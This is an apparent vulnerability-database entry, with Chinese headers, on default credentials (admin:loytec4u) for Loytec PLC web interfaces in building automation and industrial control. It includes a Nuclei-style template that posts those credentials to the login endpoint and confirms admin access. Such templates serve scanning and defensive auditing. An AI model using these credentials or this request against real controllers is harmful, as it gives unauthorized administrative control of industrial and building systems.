loytec-default-password: Loytec PLC - Default Login

日期: 2025-08-01 | 影响软件: Loytec PLC | POC: 已公开

漏洞描述

Identified Loytec PLC web interfaces that were accessible using default credentials (admin:loytec4u). These devices were commonly deployed in building automation and industrial control environments. When left unchanged, default credentials could have allowed unauthorized users to gain administrative access to the system.

PoC代码[已公开]

id: loytec-default-password

info:
  name: Loytec PLC - Default Login
  author: biero-el-corridor
  severity: high
  description: |
    Identified Loytec PLC web interfaces that were accessible using default credentials (admin:loytec4u). These devices were commonly deployed in building automation and industrial control environments. When left unchanged, default credentials could have allowed unauthorized users to gain administrative access to the system.
  metadata:
    verifed: true
    max-request: 1
  tags: loytec,default-login,vuln

variables:
  username: admin
  password: loytec4u

http:
  - raw:
      - |
        POST /webui/login HTTP/1.1
        Host: {{Hostname}}
        X-Create-Session: 1
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&password={{password}}&login=Login

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"sessUser":"admin"'
          - '"loggedIn":true'
        condition: and

      - type: status
        status:
          - 200
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